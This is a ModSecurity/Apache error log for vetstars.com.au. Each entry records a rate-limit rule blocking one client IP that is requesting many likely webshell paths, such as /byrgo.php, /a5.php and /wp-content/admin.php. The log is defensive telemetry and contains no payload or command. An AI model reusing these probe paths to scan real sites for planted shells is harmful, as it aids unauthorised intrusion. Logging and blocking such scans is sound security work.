[Sun May 03 05:35:32.863024 2026] [:error] [pid 40732:tid 40748] [client 172.173.121.85:6128] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "afZuJP1lQrIvlEdzcVcVpAAAAMQ"]
[Sun May 03 05:35:33.248720 2026] [:error] [pid 40732:tid 40762] [client 172.173.121.85:6122] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "afZuJf1lQrIvlEdzcVcVpQAAANI"]
[Sun May 03 05:35:34.194363 2026] [:error] [pid 21934:tid 21954] [client 172.173.121.85:5742] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "afZuJnWfIjnWjXCxeM4sOgAAARI"]
[Sun May 03 05:35:34.650373 2026] [:error] [pid 40637:tid 40652] [client 172.173.121.85:30272] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "afZuJpB-U30YNJ6CyVg9WQAAAAU"]
[Sun May 03 05:35:35.285739 2026] [:error] [pid 40637:tid 40659] [client 172.173.121.85:30257] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "afZuJ5B-U30YNJ6CyVg9WgAAAAw"]
[Sun May 03 05:35:35.732355 2026] [:error] [pid 40732:tid 40755] [client 172.173.121.85:6111] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "afZuJ_1lQrIvlEdzcVcVqwAAAMs"]
[Sun May 03 05:35:36.219575 2026] [:error] [pid 21934:tid 21946] [client 172.173.121.85:6106] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "afZuKHWfIjnWjXCxeM4sQAAAAQo"]
[Sun May 03 05:35:36.678586 2026] [:error] [pid 21934:tid 21947] [client 172.173.121.85:30287] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "afZuKHWfIjnWjXCxeM4sRQAAAQs"]
[Sun May 03 05:35:37.383691 2026] [:error] [pid 21934:tid 21950] [client 172.173.121.85:6110] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "afZuKXWfIjnWjXCxeM4sSgAAAQ4"]
[Sun May 03 05:35:37.877668 2026] [:error] [pid 40638:tid 40684] [client 172.173.121.85:6131] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "afZuKfh3VcFjJ7H1mBapjgAAAEo"]
[Sun May 03 05:35:38.408352 2026] [:error] [pid 40732:tid 40764] [client 172.173.121.85:5724] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "afZuKv1lQrIvlEdzcVcVrgAAANQ"]
[Sun May 03 05:35:39.126531 2026] [:error] [pid 40732:tid 40751] [client 172.173.121.85:30279] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "afZuK_1lQrIvlEdzcVcVswAAAMc"]
[Sun May 03 05:35:39.554387 2026] [:error] [pid 40732:tid 40753] [client 172.173.121.85:30249] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "afZuK_1lQrIvlEdzcVcVtwAAAMk"]
[Sun May 03 05:35:42.147153 2026] [:error] [pid 40732:tid 40748] [client 172.173.121.85:5737] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "afZuLv1lQrIvlEdzcVcVwgAAAMQ"]
[Sun May 03 05:35:42.592356 2026] [:error] [pid 40638:tid 40689] [client 172.173.121.85:30330] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "afZuLvh3VcFjJ7H1mBapmAAAAE8"]
[Sun May 03 05:36:14.738891 2026] [:error] [pid 40638:tid 40691] [client 172.173.121.85:30307] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "afZuTvh3VcFjJ7H1mBap1wAAAFE"]
[Sun May 03 05:36:15.140044 2026] [:error] [pid 40732:tid 40764] [client 172.173.121.85:30245] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "afZuT_1lQrIvlEdzcVcWHwAAANQ"]
[Sun May 03 05:36:15.554016 2026] [:error] [pid 40732:tid 40759] [client 172.173.121.85:5746] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "afZuT_1lQrIvlEdzcVcWIwAAAM8"]
[Sun May 03 05:36:17.063509 2026] [:error] [pid 21934:tid 21955] [client 172.173.121.85:6139] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "afZuUXWfIjnWjXCxeM4sfgAAARM"]
[Sun May 03 05:36:17.293338 2026] [:error] [pid 40732:tid 40748] [client 172.173.121.85:5740] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "afZuUf1lQrIvlEdzcVcWKwAAAMQ"]
[Sun May 03 05:36:17.791363 2026] [:error] [pid 40639:tid 40725] [client 172.173.121.85:5709] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "afZuUa9rkyoICq7qxvFleAAAAJg"]
[Sun May 03 05:36:18.303224 2026] [:error] [pid 40638:tid 40682] [client 172.173.121.85:5727] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "afZuUvh3VcFjJ7H1mBap3QAAAEg"]
[Sun May 03 05:36:18.749447 2026] [:error] [pid 40732:tid 40755] [client 172.173.121.85:5175] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "afZuUv1lQrIvlEdzcVcWLQAAAMs"]
[Sun May 03 05:36:19.188881 2026] [:error] [pid 21934:tid 21938] [client 172.173.121.85:6081] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "afZuU3WfIjnWjXCxeM4siAAAAQI"]
[Sun May 03 05:36:19.609559 2026] [:error] [pid 40732:tid 40754] [client 172.173.121.85:5705] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "afZuU_1lQrIvlEdzcVcWLwAAAMo"]
[Sun May 03 05:36:20.098129 2026] [:error] [pid 40732:tid 40753] [client 172.173.121.85:6115] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "afZuVP1lQrIvlEdzcVcWNAAAAMk"]
[Sun May 03 05:36:20.500292 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:30247] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "afZuVHWfIjnWjXCxeM4sigAAARY"]
[Sun May 03 05:36:20.909173 2026] [:error] [pid 40638:tid 40698] [client 172.173.121.85:5135] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "afZuVPh3VcFjJ7H1mBap3wAAAFg"]
[Sun May 03 05:36:21.397194 2026] [:error] [pid 40732:tid 40767] [client 172.173.121.85:5173] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "afZuVf1lQrIvlEdzcVcWNwAAANc"]
[Sun May 03 05:36:21.905447 2026] [:error] [pid 21934:tid 21953] [client 172.173.121.85:5723] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "afZuVXWfIjnWjXCxeM4skQAAARE"]
[Sun May 03 05:36:22.474899 2026] [:error] [pid 40639:tid 40707] [client 172.173.121.85:5759] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "afZuVq9rkyoICq7qxvFlfwAAAIY"]
[Sun May 03 05:36:22.935881 2026] [:error] [pid 40637:tid 40663] [client 172.173.121.85:5707] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuVpB-U30YNJ6CyVg9hwAAABA"]
[Sun May 03 05:36:23.311340 2026] [:error] [pid 40638:tid 40691] [client 172.173.121.85:6082] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuV_h3VcFjJ7H1mBap5QAAAFE"]
[Sun May 03 05:36:24.693137 2026] [:error] [pid 40637:tid 40647] [client 172.173.121.85:6090] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuWJB-U30YNJ6CyVg9iwAAAAA"]
[Sun May 03 05:36:25.121039 2026] [:error] [pid 40639:tid 40712] [client 172.173.121.85:5731] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuWa9rkyoICq7qxvFlhwAAAIs"]
[Sun May 03 05:36:25.526446 2026] [:error] [pid 40637:tid 40651] [client 172.173.121.85:5735] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "afZuWZB-U30YNJ6CyVg9jwAAAAQ"]
[Sun May 03 05:36:26.447700 2026] [:error] [pid 40638:tid 40676] [client 172.173.121.85:5753] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "afZuWvh3VcFjJ7H1mBap6wAAAEI"]
[Sun May 03 05:36:26.853775 2026] [:error] [pid 40638:tid 40689] [client 172.173.121.85:30263] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "afZuWvh3VcFjJ7H1mBap7QAAAE8"]
[Sun May 03 05:36:27.233001 2026] [:error] [pid 40637:tid 40660] [client 172.173.121.85:5163] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "afZuW5B-U30YNJ6CyVg9lAAAAA0"]
[Sun May 03 05:36:27.715643 2026] [:error] [pid 40637:tid 40650] [client 172.173.121.85:5699] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "afZuW5B-U30YNJ6CyVg9lwAAAAM"]
[Sun May 03 05:36:28.564898 2026] [:error] [pid 40637:tid 40663] [client 172.173.121.85:5702] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "afZuXJB-U30YNJ6CyVg9mgAAABA"]
[Sun May 03 05:36:29.058881 2026] [:error] [pid 40638:tid 40691] [client 172.173.121.85:5741] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "afZuXfh3VcFjJ7H1mBap8gAAAFE"]
[Sun May 03 05:36:29.504228 2026] [:error] [pid 40638:tid 40688] [client 172.173.121.85:6119] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "afZuXfh3VcFjJ7H1mBap9AAAAE4"]
[Sun May 03 05:36:29.906346 2026] [:error] [pid 40639:tid 40716] [client 172.173.121.85:5128] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "afZuXa9rkyoICq7qxvFljAAAAI8"]
[Sun May 03 05:36:30.301210 2026] [:error] [pid 40637:tid 40657] [client 172.173.121.85:5751] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "afZuXpB-U30YNJ6CyVg9nQAAAAo"]
[Sun May 03 05:36:30.698614 2026] [:error] [pid 40637:tid 40661] [client 172.173.121.85:5131] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "afZuXpB-U30YNJ6CyVg9oAAAAA4"]
[Sun May 03 05:36:31.075117 2026] [:error] [pid 40637:tid 40649] [client 172.173.121.85:5730] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "afZuX5B-U30YNJ6CyVg9owAAAAI"]
[Sun May 03 05:36:31.452929 2026] [:error] [pid 40732:tid 40753] [client 172.173.121.85:6138] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "afZuX_1lQrIvlEdzcVcWPQAAAMk"]
[Sun May 03 05:36:31.888848 2026] [:error] [pid 40732:tid 40750] [client 172.173.121.85:5159] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "afZuX_1lQrIvlEdzcVcWPgAAAMY"]
[Sun May 03 05:36:32.303105 2026] [:error] [pid 40732:tid 40762] [client 172.173.121.85:5750] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "afZuYP1lQrIvlEdzcVcWPwAAANI"]
[Sun May 03 05:36:32.706107 2026] [:error] [pid 40732:tid 40751] [client 172.173.121.85:5720] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "afZuYP1lQrIvlEdzcVcWQAAAAMc"]
[Sun May 03 05:36:33.197397 2026] [:error] [pid 40732:tid 40756] [client 172.173.121.85:5711] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "afZuYf1lQrIvlEdzcVcWQwAAAMw"]
[Sun May 03 05:36:33.612592 2026] [:error] [pid 40639:tid 40705] [client 172.173.121.85:5832] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "afZuYa9rkyoICq7qxvFlkgAAAIQ"]
[Sun May 03 05:36:34.018633 2026] [:error] [pid 40732:tid 40755] [client 172.173.121.85:5722] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "afZuYv1lQrIvlEdzcVcWSAAAAMs"]
[Sun May 03 05:36:34.532925 2026] [:error] [pid 40732:tid 40758] [client 172.173.121.85:6135] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "afZuYv1lQrIvlEdzcVcWTAAAAM4"]
[Sun May 03 05:36:34.989084 2026] [:error] [pid 40639:tid 40718] [client 172.173.121.85:5748] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/style.php"] [unique_id "afZuYq9rkyoICq7qxvFllAAAAJE"]
